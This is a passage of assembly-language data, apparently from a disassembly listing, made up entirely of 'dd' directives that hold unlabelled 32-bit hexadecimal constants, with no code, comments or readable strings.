		dd 5B559499h, 93634D79h, 0F759BAA7h, 0B1E744Bh,	12671FA3h
		dd 9FC11EE0h, 1D9D1D41h, 3234AFC2h, 2FCE2D2Eh, 14ADAD9Fh
		dd 0DFBA4812h, 0B8C96700h, 38124ADAh, 5CDCDC9Bh, 8C644B71h
		dd 1DB6740Eh, 0CEBCADABh, 3575EABh, 5EC80321h, 0F44BF1C9h
		dd 90E720DAh, 1A4ADA82h, 0DFE2E0DDh, 22379244h,	0EF907ACh
		dd 0D4873A73h, 586B4E56h, 0AA05C90Ch, 0B375537Dh, 0D1D8182Ah
		dd 3E776FF1h, 118233FAh, 15F993F2h, 0E95781E0h,	35E73661h
		dd 351B473Fh, 228347D7h, 9CE2CF1h, 15ACA26Fh, 0CC8E0855h
		dd 36DFE725h, 6CD256D4h, 488B2D8Ch, 0C882C5EBh,	0F5A43558h
		dd 70EA8980h, 15CD2E76h, 0AB54A812h, 0E2185A79h, 6444F3DDh
		dd 0C329F6CCh, 528CE700h, 0B4B7978Ah, 6C0212BAh, 0D607FF06h
		dd 0D5F56CA2h, 0BC7AA64Bh
		dd 3FB2370Dh, 318E045Dh, 87D10BCh, 9BC6CC49h, 0A0B8826Eh
		dd 6F122E4Ch, 9BB5F3B0h, 78B44C69h, 0A09A489Bh,	0D59A8ABAh
		dd 39FA2B80h, 0B68DDCA7h, 0A353A886h, 27F83557h, 2BFECB3Bh
		dd 5F4C9E26h, 1CE21F0Fh, 0FD228B7h, 0AE6CB68h, 372C6592h
		dd 1FEC7794h, 16B80731h, 0DFC86F34h, 0E6C4F58Ah, 0C4882BACh
		dd 4A162483h, 0A5E061CEh, 36FECDA1h, 21098E4Bh,	0D222D8F9h
		dd 0F347123Bh, 0D168F17Ch, 0D596A7A7h, 84703CE6h, 30E952F2h
		dd 3BCC4AA9h, 4CD87B0Ah, 957F4DF9h, 7BE41E2h, 88C34659h
		dd 3E7565F7h, 659489E0h, 0B4614956h, 0A6DF7BEEh, 35CE63BAh
		dd 0B1C06A2Eh, 0A569554Ah, 14348707h, 32A49E0Eh, 75ECB9D8h
		dd 3466FF31h, 795B501Ah, 5DE66DB4h, 610CC62Dh, 43E4C070h
		dd 49F651B2h, 7413592Bh, 0D0D9345Eh, 0D170DC76h, 0F376D2FEh
		dd 85FE1418h, 548B0DD5h, 0A1ED218Fh, 98E60F4Eh,	10CA4408h
		dd 8849510Ah, 0DFDE1228h, 98D3DEF9h, 9AAF1E83h,	1A2048CBh
		dd 529FE7EFh, 0CD8D959Eh, 68804A84h, 1C02A99Ah,	0EA1B86EEh
		dd 21AAF61Ch, 0B1A90DDCh, 0D1CD8D25h, 0F9C83971h, 95B5CBE4h
		dd 0E3908D85h, 6DE621A2h, 61B7CC36h, 45E397CEh,	3C799CDFh
		dd 5D573B24h, 196E54Fh,	0A8824953h, 99CBCE5Eh, 0E714FBE8h
		dd 0F21997BDh, 67DFFD17h, 8E730EACh, 0C0A7E9Eh,	0F1C6B02Fh
		dd 9A26EAFEh, 46632A3Fh, 690CC739h, 5F2CE59Ch, 0A48F734Dh
		dd 57C9E4E3h, 0F9A283A4h, 0FB97258h, 0B2163074h, 166EBA02h
		dd 468374E9h, 0EB7B3BB0h, 99811F28h, 6DCE4AC5h,	0C0357189h
		dd 853C46F9h, 642459D1h, 5AE922BFh, 65BE479Dh, 0CDF8297Fh
		dd 4F5490E3h, 8F8F9F9Ch, 63703E0h, 5ACC2631h, 0EC19C1B9h
		dd 0EA18750Ch, 8D7F842Ch, 7933BD6Bh, 3921C217h,	0C4CE3B16h
		dd 17B2B8BCh, 0A1A2A9F8h, 449751A1h, 16B1B0E7h,	91AAEFEAh
		dd 0F217F5D1h, 2CF0379Ah, 3CF5F0E7h, 93717FC6h,	7FA59C31h
		dd 9D5AF90Dh, 0DE028F17h, 6A188469h, 6F4BE409h,	9C53FDD1h
		dd 0F88DCA83h, 341F6FB9h, 0E9C41F11h, 656D47F9h, 0BEB7A379h
		dd 0C7090A6Ah, 0C0F13F92h, 0B3FF3907h, 770A6B0Bh, 0B452DE6Bh
		dd 4DFF9CBCh, 4EC91F18h, 0EB8C6CE7h, 40A9CAEAh,	862CB9F8h
		dd 0BAF059C6h, 783C2160h, 0F848E8F1h, 2A1906D4h, 0A24C6FE2h
		dd 904BE5F8h, 67E36436h, 0CB6FD236h, 0E412A875h, 0F3E3A2BBh
		dd 7844B7E6h, 8430008Bh, 9CD0B42Fh, 0B6B6FD0Dh,	2976A8B2h
		dd 1A700190h, 316F9384h, 0DC7FED8Ch, 2CF2B689h,	69D00122h
		dd 1890202Dh, 0F8C5F184h, 0DFCB6A44h, 107C0C5Fh, 0AE33181Bh
		dd 0F8829E3Fh, 0D938BB2Ch, 0AA87AABh, 0ABABAA33h, 974E3C74h
		dd 9A700D8Dh, 3AED23EAh, 7790C2B5h, 0B8C6DDD1h,	9B782702h
		dd 0FB973C28h, 0DA87E6B9h, 0B72DC9CAh, 238A5434h, 0CDEB3EFDh
		dd 227FA730h, 0EA213D8Dh, 0A41CF026h, 0C9161B42h, 13C4539h
		dd 1D57739Bh, 772420D1h, 61A78728h, 0E9817F1Dh,	1010C1Ah
		dd 51AF5310h, 6536CADFh, 0DEF05E5h, 9CAAD537h, 38798095h
		dd 6BFAF081h, 0EA16AF5Ch, 0C6E6AAB6h, 0EAE6629Bh, 0DAF2CFA5h
		dd 35B6C2C6h, 1AD3CDD5h, 84802C48h, 6D6619AEh, 6BA58D12h
		dd 5C9860EFh, 24D02D0h,	0A7F6E49Fh, 39F1F0F1h, 91A33FECh
		dd 3B081970h, 69106412h, 0BE1006BBh, 4E9C6D79h,	5A98E8E7h
		dd 0A6020EACh, 0BBD53FA3h, 0C3A23DFh, 35AAECDh,	0FCEC1D9Eh
		dd 30F45FE7h, 718DC5A2h, 0FF9F70F7h, 870F44B2h,	3575EC64h
		dd 36D31404h, 0E1EAE727h, 0CA4957B2h, 6D946D5Ch, 348BBC43h
		dd 0A2AB6FE7h, 48031230h, 48D4228h, 0F2EB9737h,	394366CCh
		dd 0BDEAA565h, 0E8809EFAh, 0ABCEE1F9h, 2261D4DFh, 9451F1E2h
		dd 0AD7370C1h, 0B85D5F44h, 94938755h, 0D6B94C64h, 7A5CD226h
		dd 2BF446AFh, 44ABD8E4h, 513250DBh, 0B364B01Ch,	0A835A708h
		dd 75717ABEh, 906290BDh, 6CBF10F9h, 49E7B384h, 2F6B2301h
		dd 3A342220h, 680395AFh, 0C7FB5EFCh, 65913818h,	3B871DA4h
		dd 0C262DBBBh, 1621A259h, 0A898F4E7h, 344B3FFEh, 3D727996h
		dd 745B864Dh, 4F986334h, 7012AF0Bh, 0D2889CFAh,	9F68598Fh
		dd 0E15CE91h, 0B1B53E11h, 6ADAC6F1h, 85B4A79Ah,	0C425A9ABh
		dd 219E4BCCh, 30AFAFADh, 0A00542C2h, 0A441B6BEh, 73884C45h
		dd 0B1A5B99Dh, 1A9A9D79h, 47EEAEC1h, 1A7172FDh,	3D4637E3h
		dd 0AA1B4334h, 304B01F5h, 56D4ADFBh, 0DD125617h, 5812CAC2h
		dd 63993065h, 6730ECC6h, 42D247A6h, 0F763AB58h,	0F516BC2Eh
		dd 7E3634A3h, 4E852B56h, 22420288h, 0CE82FA11h,	0AF9D53FCh
		dd 0CDB4CADDh, 14E5BD2h, 8D0B1862h, 0BC71238Fh,	3521027Eh
		dd 0E6CAD00Ah, 0EB9526DAh, 0A0BC69CDh, 63C9CB44h, 22173484h
		dd 9F868230h, 57D722F9h, 0FC07947h, 9121B614h, 5DB8CBD6h
		dd 525F5C11h, 0C6F1B8BDh, 0B67F7D28h, 0EBD033F3h, 0BD72CFA2h
		dd 64DA3E48h, 8A3795D5h, 9D32707Dh, 7EF32B11h, 0F67BCFAEh
		dd 0E636238Bh, 0F48CEBF8h, 0EE67BEBAh, 265F2CAFh, 2458DDFCh
		dd 6556FEA3h, 0D54605DFh, 60279D31h, 94F57E51h,	0EBB04FEEh
		dd 0FFEF1006h, 0F7747F63h, 0E11D5557h, 0FFDF2849h, 6E09BE99h
		dd 399240E1h, 8F09F579h, 0CF9245DEh, 0E5307BC4h, 1958BB7Eh
		dd 520FF9A3h, 0AA974FDCh, 9288E150h, 6A9F0CD9h,	2FF56E25h
		dd 0C68F4257h, 144B72DBh, 0F1395E3Eh, 0FE5CC809h, 0E48FD0DEh
		dd 7307CA49h, 31F218F7h, 12DF5D2Bh, 4E304861h, 0EA50733Ah
		dd 6885C9DEh, 9128893Eh, 0D1C8CE1Fh, 84FBB4Eh, 6810478Ah
		dd 238A4FCCh, 0CB1267BEh, 59F9E968h, 0EB9FB994h, 0EDF92684h
		dd 5D7A53B7h, 25C4E86Fh, 0BAD075F9h, 4A794CAFh,	7108D8CEh
		dd 41B5FCCFh, 74F69E74h, 0E7C9EEAAh, 7BF2362Bh,	0E3359E37h
		dd 0DE61750h, 4774A00Dh, 44F3AD5Dh, 0C70D6FC8h,	0A61070BDh
		dd 14018A96h, 65248369h, 0DEFAEBCEh, 8387F98Ah,	6EBBCDA9h
		dd 0ECAC9031h, 0FE4ED87Fh, 841B65Fh, 0DC4AABCBh, 0DC5707CDh
		dd 0EC93EA47h, 4CD5505Fh, 0DED283B8h, 0FCDA8FD3h, 0B082759Bh
		dd 49057E15h, 0CF7BAE54h, 0DA086D25h, 0F8DB45B4h, 5A481FABh
		dd 6BA608Bh, 0FFD37A51h, 0D9891806h, 76743E44h,	5C94A494h
		dd 4E982C89h, 0A4B9D827h, 3DBCAC3Fh, 579AB414h,	5EBF9C85h
		dd 0C9F2B327h, 0C68058Ah, 8958E7E2h, 5924A5AFh,	1789DF05h
		dd 0F1E62AF2h, 4FBFA9D9h, 0B9724A24h, 0C84842FCh, 0B6373655h
		dd 0EA8D634h, 0F439B87Dh, 0A521D675h, 5F971CE8h, 7F6C04ECh
		dd 0DA74A8A5h, 0E2F56A8Ch, 0F6972AEBh, 392D4857h, 862EB3Bh
		dd 9C2A2589h, 11558B5Ah, 8D41C1A3h, 0A7E9068Fh,	0A5AB33E8h
		dd 8D42A47Ch, 351C4227h, 668ECD8Dh, 92C246D2h, 0A2A8E550h
		dd 8C29B556h, 3E461CC4h, 53BFFA56h, 0A15DC036h,	51CAC330h
		dd 1535304Bh, 0C19CD595h, 0A2D717BFh, 0B47468CCh, 0AC18C688h
		dd 8E57F844h, 55D4A10Ah, 7AA4576Eh, 6FAC0A17h, 512BFAF0h
		dd 253F557Eh, 29B2A3CAh, 0BC5A5AD3h, 0B239BB14h, 0FC9A50EEh
		dd 0F08CA8EEh, 1128867Ah, 0CAA5145Eh, 0E6F380B8h, 6497837h
		dd 962540D4h, 625564E7h, 68827571h, 0C64F4E33h,	5032648Dh
		dd 0A8E719A1h, 169ECC12h, 3126CF51h, 30A3CFC9h,	3520E1F1h
		dd 9CB42ACCh, 79001183h, 75052732h, 3E8BC599h, 0A21770F9h
		dd 0F245762Eh, 0F19E0C8Eh, 251BE08Ah, 3056822Ah, 343F822Bh
		dd 0ADE41140h, 0D3967C43h, 507E2118h, 4078857Fh, 0D02660Eh
		dd 77C7B054h, 6E38D634h
		dd 819F9C12h, 371C358Ch, 9C160CE9h, 1FA40B69h, 31639629h
		dd 51CED46Dh, 50E19AC4h, 6FF01D1Bh, 1D4F1D10h, 38CC61ECh
		dd 0E6386FA4h, 96FBCC04h, 5B6A3A14h, 0D455371Ch, 44DC7463h
		dd 644177EDh, 33B03A7Ch, 1C584472h, 0F547C3Ch, 9EAB5701h
		dd 21872AC6h, 0F4FCD93Dh, 814BCCDAh, 0C46BC3C3h, 0D2BED4B9h
		dd 78013A87h, 6BB299A5h, 0ACAEAA69h, 0BE65A9ADh, 0E931D9C0h
		dd 87D28E88h, 4E6578CAh, 9371D7A3h, 5AA50317h, 454725A0h
		dd 605E9503h, 0D50DC723h, 3EB55428h, 0F0E4686Bh, 0CB3F29B4h
		dd 0A53EA690h, 5C61064h, 227286FAh, 86A38D86h, 8A21C2D7h
		dd 0BBC207D8h, 87367B1Ah, 8E8F168Ah, 4696B551h,	758E103h
		dd 2A3AA3EAh, 0D1FDA21Ch, 91D6D11Eh, 0F47D5209h, 0B39689FEh
		dd 0AF1179A2h, 0AF0A6911h, 5432B248h, 0A9A0285Eh, 163189D1h
		dd 1E68C592h, 53D653E8h, 44895133h, 0A8F6D452h,	0BEB928B9h
		dd 1F2F2CEBh, 0D1158FA4h, 61582DC5h, 419FFC22h,	71F3CE8Ah
		dd 1884D354h, 2B813524h, 80F7C5EAh, 0A5693948h,	0AA1F2F28h
		dd 8E3A7918h, 0F0ECDE16h, 0CB14255Ch, 0F64C8965h, 0A463B121h
		dd 41DBE886h, 0E9537A86h, 71A02B06h, 5EA3BBE4h,	2A866A70h
		dd 46233782h, 219DCE96h, 993C437Ch, 0CC9E62Ah, 0BCD42255h
		dd 95B34BC3h, 5BF72326h, 0AE49BFD4h, 0E6150391h, 0D22F70B9h
		dd 0A9F071AEh, 0EA79CF6Dh, 33A950FDh, 8A5E9056h, 7CD13D21h
		dd 0BF3CEDDCh, 2633F8FAh, 5EFB201Ch, 54F28BA2h,	88806745h
		dd 896D17F9h, 7541A472h, 9BC3D66Fh, 9D890E74h, 662083E6h
		dd 2ABC151Dh, 0C19CDE10h, 21988813h, 325DF803h,	2D879040h
		dd 0E49B0632h, 4DF092CEh, 92357CB4h, 7B681E1h, 17D8C38Fh
		dd 83CCF191h, 0E5128865h, 42A3855h, 0F46EC333h,	8C0C166Bh
		dd 2CF30A01h, 22DCCE78h, 6B8228DBh, 81F50880h, 0FE61403Ah
		dd 6206E384h, 0A06E0050h, 0C2FA822h, 9C31DE6Ch,	0A584E8A7h
		dd 0A1812A3h, 249B1D53h, 40D5819Eh, 90F9824Bh, 28187A7Eh
		dd 4840DDADh, 94516742h, 49DC670Fh, 0E9F99933h,	68AD2E0Eh
		dd 0AA561943h, 0D84C607h, 811F9852h, 19722661h,	0DF0588AEh
		dd 24D404D1h, 0B8C35766h, 0C06DC116h, 0F3C53E78h, 0E92FA942h
		dd 0E300A8h, 0CAB7E772h, 0AB2C6421h, 0A7944364h, 0F2A9DA45h
		dd 0CBCA7134h, 5A7D39CFh, 9B781672h, 83CC2A86h,	7DA57A00h
		dd 0E54A4497h, 0BDF48E34h, 8E8F9C8Fh, 20C3AE4Ah, 0FAC31A9h
		dd 3CC2AB0Bh, 0C12D0C06h, 0B64B3864h, 0B4A370Bh, 0C3441673h
		dd 7E095F70h, 0EE6A6382h, 8AEB92B8h, 0AB08AF80h, 1928B8Ch
		dd 31BCBCB5h, 86552123h, 954A4619h, 0D8D024E0h,	8D0D6110h
		dd 36B11D3Ch, 26226E3Bh, 0CD7259C2h, 49045043h,	0FFFDCB54h
		dd 989868D0h, 3CB5354Ch, 0FEA393FFh, 6488A60Eh,	0D83F8304h
		dd 4E88404h, 0FA8D4F12h, 0AF5F0DEBh, 35CFC3EFh,	4513E986h
		dd 1E198A86h, 21CA9F13h, 2053043Fh, 61161A2Dh, 0B6E71805h
		dd 164AE21h, 0ED16F344h, 0AD41108Eh, 0C345A31Ah, 0F47EDB22h
		dd 9FF7DCBDh, 0B5E987A3h, 3A112111h, 0B86FA528h, 0FAD386A4h
		dd 0FB4CDFFAh, 927AE8FBh, 153CA7D6h, 4FAF5F62h,	192F8C53h
		dd 6266191Eh, 0FF7439E8h, 0F39ADE4Ah, 64216F40h, 0FC8D862h
		dd 255303EBh, 0EBE7EFF7h, 3C4CFAFEh, 8661EC4Dh,	0EB362FB9h
		dd 8D93C7A2h, 0D0ED00B4h, 0A21900E5h, 0C3B4ED88h, 0A74FDD1Bh
		dd 6B38822Ah, 0C6842539h, 4C5FE126h, 61DD4936h,	19F6D0F6h
		dd 7E9A22F8h, 0EB59DC95h, 1CE8D661h, 2C7DA6AEh,	96697A74h
		dd 341D8B34h, 37D8A5B5h, 1CBCAA3Bh, 35A25BFh, 45A73BDEh
		dd 628444D7h, 4C128AE5h, 683AC0BCh, 1B9B7A8Eh, 0B012E5Ah
		dd 0D50105B2h, 0F2A3297Dh, 30A9D772h, 0E88E2A11h, 86F94A0Ch
		dd 8ABC4A6Ah, 0D369DD70h, 81A7A098h, 107D62A8h,	0CF905E08h
		dd 11701A8Eh, 3B311B4Fh, 3222AF12h, 555A10EEh, 0BDC46FFDh
		dd 4297123Ch, 8C971BEBh, 0FBC0313h, 916D1A09h, 0B8D5B14Ah
		dd 896F1238h, 75654407h, 0E3E1286Ch, 0A529614Ah, 0DC716FEh
		dd 0C7FFADD8h, 443EDA9h, 0DC7B72Ch, 2E44C4B7h, 7C7628BFh
		dd 3E413EC8h, 25E9720Dh, 40528BF2h, 9A9C26F9h, 97ADBEAEh
		dd 98DD1E4Dh, 99C82371h, 0F1A9D57Bh, 0A1BB78C4h, 0B8B153DAh
		dd 5BEDB516h, 0C5B0BE3h, 0BA4B5C04h, 85108FD8h,	0B4341C63h
		dd 5A6B204Ah, 0FB9EC464h, 0AE7457Ch, 872C199Ch,	41649A34h
		dd 7C0A22E4h, 0D8DA5189h, 6887D980h, 41DD604Bh,	5D25326Eh
		dd 79B8251Bh, 35C4B1Fh,	0F45A3E74h, 55B3DE02h, 0C08848F3h
		dd 0AFE3A69Eh, 5EC48A54h, 27807B80h, 1258112Dh,	0A2F0EE54h
		dd 4D4D583Dh, 0AAF9092Eh, 3166BCE1h, 769A4E65h,	9B65DC8Ch
		dd 8C328F97h, 0F317B145h, 0B5460408h, 0BE2C6D06h, 182F085Ah
		dd 6A8EF276h, 848EF0DAh, 161ED2C4h, 29778BEDh, 2CB8B4FCh
		dd 6CF5A58Ah, 0A715CE25h, 7F92B5C4h, 0E78F12BCh, 7BAB000h
		dd 957C12B4h, 81221784h, 0D2DD1756h, 7213896Dh,	2B00C3C0h
		dd 0B3589CE4h, 0D8A5CD73h, 0A8A62A61h, 8F7D0B9Ch, 8E118786h
		dd 832F9F8Eh, 7700D5BFh, 0C5C5C319h, 358B21C0h,	1877F099h
		dd 2E1932E0h, 0EC0E063Eh, 0E1E3358Eh, 3700DE3Fh, 31CCE19Eh
		dd 0AD176070h, 977F0099h, 0C3026E01h, 0A1C0C425h, 872E6B06h
		dd 0EE01A17Fh, 8C4B8672h, 702B0381h, 5FF015CDh,	82BB8068h
		dd 0E06292E1h, 9359CAC0h, 0D57F05h, 9670C597h, 3FB03818h
		dd 7FC364D7h, 9B2E01B5h, 0C0C5FAE1h, 0E6B45D81h, 603FF84Ah
		dd 0E192BB80h, 0E1C0C7FAh, 0E4D6218h, 0E01B25C9h, 406E1872h
		dd 60581C0Ch, 0DFF03C6Bh, 30F38062h, 0E06359Ch,	0CD35C1ACh
		dd 8069DFF0h, 1D526FA3h, 3891A3A0h, 42EBC221h, 0EBE0BB3Bh
		dd 92B8FB42h, 1C1E5CC8h, 2FEAECCAh, 7E304F8Eh, 2951D714h
		dd 0CF269988h, 3CF2DCA8h, 40CA55B3h, 490E5950h,	57F13BFEh
		dd 6545C747h, 0EE52DDCFh, 432961F4h, 0A976F24Dh, 8F085126h
		dd 7BA6A794h, 8222E9B5h, 0C7E9CAA5h, 3EE50BA9h,	0EB87A860h
		dd 3274E30Ch, 0B80683FCh, 0A71867C9h, 6DDFE053h, 0A7D29B80h
		dd 85EE485Dh, 3ED5FFCEh, 433AE8F5h, 7E2016F9h, 0BD345C6Ah
		dd 0DF286705h, 358FF842h, 433C2DC0h, 0DC682AF9h, 0CE2AE01Bh
		dd 806E8F30h, 0EE01817Fh, 0A3CC3386h, 37B3D24Ah, 619E55C0h
		dd 7FC1551Eh, 0EAAE01B6h, 0C90BC627h, 3297ACA4h, 2613C4F0h
		dd 9F9E8DD9h, 19F777E8h, 7911AEDAh, 36790C78h, 9AEDA19Eh
		dd 8064DFE0h, 8D94326Bh, 0F11C4DE4h, 6CBBBCD1h,	0F345E6A7h
		dd 978DA49Ah, 6248D219h, 0C0BCD8F8h, 92435DF6h,	700C6BECh
		dd 0B62E1903h, 1D41969Fh, 7F8D1964h, 0F77D1C03h, 3427A7EDh
		dd 0B29C0D65h, 0DF4700C9h, 0B7E9FB7Dh, 0DE538380h, 96FDC035h
		dd 69FB62E1h, 58E0E003h, 0A72227F7h, 0F8B170C9h, 838077EEh
		dd 700D7A53h, 58B863BFh, 0C07BF77Ch, 61929C1h, 33DFD2F9h
		dd 7BBE2C5Ch, 4A707012h, 49EE0181h, 77C58B86h, 4E0E014Fh
		dd 3DC037A9h, 0F8B170C5h, 83800FEEh, 0E01B5653h, 0B170C0FEh
		dd 0C069EEF8h, 61D29C1h, 2E19A7B8h, 11FDDF16h, 21CA7070h
		dd 191FDC03h, 0DC0C606Eh, 29C1C046h, 8DB8065Dh,	628370Ch
		dd 0C1C019EEh, 14736629h, 0B38619EEh, 9FDC0C5h,	0D72C7070h
		dd 89FDC3A0h, 7031ECE1h, 4E0E02CFh, 7B806899h, 0C706E196h
		dd 1C026DC0h, 0E9F2EB1Ch, 6E189B70h, 73DC0C48h,	1D638380h
		dd 39EE1D3Eh, 31A1B86h
		dd 0E0E002F7h, 874F4758h, 92E1817Bh, 336E063h, 0F6758E0Eh
		dd 0CCDB874h, 0F7031297h, 94E0E022h, 17B8069Dh,	0C586E19h
		dd 7B804BDCh, 1B3C689h,	3B8625EEh, 65EE062Bh, 4729C1C0h
		dd 332F700Ch, 0DC0C6A5Ch, 29C1C016h, 2DB806DDh,	63C370Ch
		dd 8380CFEEh, 3906AC53h, 0DC333FEAh, 5B7031D9h,	38A70701h
		dd 195B700Ch, 0DC0C446Eh, 29C1C036h, 0DB700DE3h, 62D2E18h
		dd 707003AEh, 0AE01AE4Ah, 0C646E183h, 0DC076DC0h, 0AE84D76h
		dd 19DB70EAh, 0B8189CEEh, 0A7070057h, 5EE01934h, 6373B861h
		dd 0E0076E0h, 8066594Eh, 8E70C1DBh, 809DB818h, 33EE5383h
		dd 0B864EDC0h, 0FEE062F3h, 0D0BFB802h, 0FDC03178h, 8FCEE185h
		dd 0B805DB81h, 0C5E345Dh, 2E18BB70h, 376E063Dh,	7D94E0E0h
		dd 0CDDB806h, 0B7031197h, 687B7007h, 0F6E0181Ch, 18A8DC30h
		dd 0DB80BDB8h, 0CD784Bh, 2EE197B7h, 157B8188h, 67C7070h
		dd 0CABDC3ACh, 0C0C61770h, 0D7B806BDh, 0E019FF08h, 0D1B8635Eh
		dd 0FB7031h, 9284C707h,	0E18FB70Eh, 0EE0623FEh,	0AEBDC075h
		dd 1D2DBD09h, 0BB8675EEh, 0DEE0628h, 7841BDC0h,	6F700D2h
		dd 81898DC3h, 6F70137Bh, 0C0373CD2h, 6370C9BDh,	3F6E063h
		dd 53E13F6Eh, 867EDC03h, 0F703171Bh, 94E0E016h,	6F700C07h
		dd 31C5DC31h, 0E036F70h, 8068D94Eh, 2EE19B7Bh, 77B8189h
		dd 7E10EF70h, 0C3BDC036h, 0B818CE70h, 0A7070177h, 0BDC037ECh
		dd 0C69770CBh, 0B807BDC0h, 181C68F7h, 0B863DEE0h, 0DEE062CBh
		dd 0D29C1C07h, 9F7B8063h, 0E06332E1h, 9C1C003Eh, 36E83162h
		dd 0E370C07Ch, 0EE063h,	3E100EEh, 8601DC03h, 0F703109Bh
		dd 87DC057h, 0EE01A77Fh, 3CBB8643h, 0E020EE06h,	0A209AAFEh
		dd 2BFB875Ah, 3115DC3h,	80700877h, 700CAA55h, 2B2E1907h
		dd 0C023EE06h, 18899601h, 0C310EE1Dh, 7DC0C765h, 688FB80Ch
		dd 3EE01AFEh, 632BB862h, 0DC013EE0h, 0DC784C7h,	5C331F70h
		dd 61DC0C4Eh, 9A27DC0h,	0EE1D173Dh, 189B8613h, 0E029F703h
		dd 6ABAD30Eh, 70CC3B80h, 0FEE06293h, 694FB806h,	0E144B55Dh
		dd 0ABB8653Eh, 0EFEE062h, 3B51BFB8h, 0C6FEE01Bh, 0C0C75770h
		dd 601C011Dh, 0EE01B715h, 8AE70CEFh, 700CFB81h,	1A9F0847h
		dd 0DC308EE0h, 0CFB818E4h, 0CD19F701h, 67DC0323h, 625370Ch
		dd 7DC00BEEh, 0F12D91AFh, 0CF7DC28h, 2E063537h,	9A5EB808h
		dd 5EB80647h, 818DCB86h, 3F7012FBh, 0C0323CD2h,	7970C8FDh
		dd 809D7031h, 8E74493Bh, 0C324EE01h, 65C0C7E5h,	0A0D651ACh
		dd 351CA2Eh, 770CE7DCh,	28DC0C4Dh, 0F3417DC0h, 0EE145FA3h
		dd 882B860Bh, 7000BB81h, 693C261h, 4DC330B8h, 2CB818Bh
		dd 1CE8905Ch, 0E1905C03h, 0CB818DAEh, 0F0885C06h, 0C42E01A4h
		dd 0E063D370h, 97DC04AEh, 0B8066FD4h, 30AE192Fh, 70072E06h
		dd 0A1909A9Dh, 193AE1D2h, 6E0628AEh, 528EE022h,	8EE019BFh
		dd 188CDC32h, 0FB8049B8h, 18B7FC07h, 70C1FEE0h,	5DC0C5D7h
		dd 0E0AFB805h, 0F700D87Fh, 63B9C315h, 0DC06AEE0h, 196EB4D7h
		dd 0B866BEE0h, 173818E2h, 9FE0BAE0h, 0D70A3FD6h, 312570C5h
		dd 0FB808570h, 659FE06h, 0AE186FB8h, 8AE0634h, 7FC2DF70h
		dd 5BEE01A6h, 3199B86h,	0DF700337h, 0E01B3B51h,	59B863BEh
		dd 1D77031h, 6BFE1BAEh,	0CDD700Dh, 0E7031657h, 93FDC06h
		dd 0FEE0190Fh, 31E570C9h, 3B80C570h, 63DFF06h, 370C63B8h
		dd 4AE063Bh, 0DF69C770h, 0CE3B8063h, 0E0627370h, 7F8701CAh
		dd 0D1167F2Ch, 70435BF5h, 9B818B3Fh, 0FC13280Dh, 26700C33h
		dd 63EBB86h, 0E2E03E6Eh, 0D13FE0h, 7370C717h, 14AE063h
		dd 2CF283D7h, 70F5C034h, 0C0C5E6F9h, 9DC04CDh, 700DCF5Ah
		dd 7E6E1827h, 0C01CDC0Ch, 6251AFC5h, 9CF141F8h,	0B81882EFh
		dd 0CCE019Fh, 0F486B5FFh, 30B70CCCh, 0C07AEE06h, 0BD7FC025h
		dd 0E1812E01h, 0E6E0622Ah, 0FE112E02h, 44B8061Dh, 621BB86h
		dd 92E01E6Eh, 0C07FE0h,	9570C497h, 0B7031h, 0B77F8167h
		dd 70C2CE01h, 0B703155h, 0FE0FD701h, 0AE146B66h, 0C755C31Fh
		dd 0AE0055C0h, 0D93FC3Fh, 3FFDF470h, 5F616BE1h,	965882EFh
		dd 0FFD426CBh, 72A9105Ch, 50E02A91h, 97082732h,	0E0C3702h
		dd 0D05DE9B6h, 870D75D5h, 0BB59A83h, 0E82EF72Ah, 0C246B9C9h
		dd 2E77039Dh, 5DA1741Ch, 3A5991E7h, 72521838h, 0B9D86C1h
		dd 0A0B9CD37h, 10BAEC43h, 0D708FC0Eh, 3D41C07Fh, 0F3EA45DFh
		dd 82E02DB0h, 2A0BBB8Ah, 88A82EE8h, 5D6BF13h, 0D82E65FBh
		dd 0C26570BCh, 9AE23B81h, 0E03F6640h, 0BE8380AEh, 0EE1B2B94h
		dd 381CB84Ah, 0E173B8D8h, 6C17507Eh, 4B60B874h,	0B10605C7h
		dd 0C3D78C8Bh, 0A60B8512h, 0D7505CAAh, 0E5C1E576h, 3C435DC3h
		dd 7069B82Dh, 874DC2D7h, 0BBC9E83h, 0A82ED6EAh,	83AEBB43h
		dd 55C67F03h, 5702570Ch, 5DD9070Ah, 0B95A4C17h,	0DCA0E0CAh
		dd 0BAFE82E6h, 5CEC160Bh, 1EBB833Fh, 0AEF03A0Eh, 0E1F37079h
		dd 0E741C016h, 770155D6h, 5D255C03h, 4D5701F7h,	7A178EE5h
		dd 4FDB241Fh, 5724AC3Ah, 0A4A7FA48h, 0A77A4407h, 0FD266FB4h
		dd 53B4B758h, 0A49A7A43h, 0ED21D3CFh, 0BB48F4C1h, 48A3242Dh
		dd 0B7A4A03Ah, 24A33A49h, 0B2BA4E53h, 7A4A7BA4h, 93E7441Ah
		dd 0E0E93E0Ch, 0C901EE92h, 290C932Fh, 5E9368C9h, 92B6E92Ch
		dd 0EAC92ECEh, 0C92CCE91h, 0BE9394h, 0F3A435D1h, 0A4AAFA49h
		dd 0F4B2412Fh, 2E9EA50Bh, 9C92C4E9h, 92EDE92Bh,	0F4E901EEh
		dd 0E929BE92h, 2D0C92EAh, 5F2435ADh, 0A0EA47B9h, 0E929DE92h
		dd 3A5C92E1h, 1E930CE9h, 92A9E92Ch, 0CBE9398Ch,	19224E12h
		dd 24801A46h, 0CF724DCFh, 0F24A3324h, 4C43A4B6h, 0D324A97Ah
		dd 24C7F249h, 0BB7A4DA3h, 324B83A4h, 0AB33A4BFh, 0FC92ABEBh
		dd 9227C928h, 0C7E92CCEh, 0E92AAE92h, 2E6E92BAh, 4C9252C9h
		dd 92FAE924h, 1DC92FEEh, 0E92CCE92h, 0A54C92FAh, 0FF67F52Ah
		dd 3A59FC27h, 26ED8047h, 19211E6h, 0F7920DAAh, 0E23F7C47h
		dd 7EC815BFh, 0E6259D86h, 0A8B5D0D7h, 68C76976h, 0B42BB4A1h
		dd 93F3B751h, 0B8EEEC20h, 1C1D8413h, 643DCFEAh,	352E09DBh
		dd 8F5C4C51h, 70CDC7ECh, 0D051387h, 0ECF7744Fh,	4997124h
		dd 65FBB8D1h, 3FD039FFh, 0DF411605h, 3A08B3ADh,	2CFB282Ah
		dd 5BB09FABh, 11B5FD40h, 613F40EEh, 9C3460CBh, 0E9DD3FBBh
		dd 0D689FA22h, 54B82EA0h, 19E47D9h, 0FF52AF02h,	53D9261Ch
		dd 6E1381F4h, 5C5C55B6h, 0F4DF7A1h, 507D039Ch, 0B704D700h
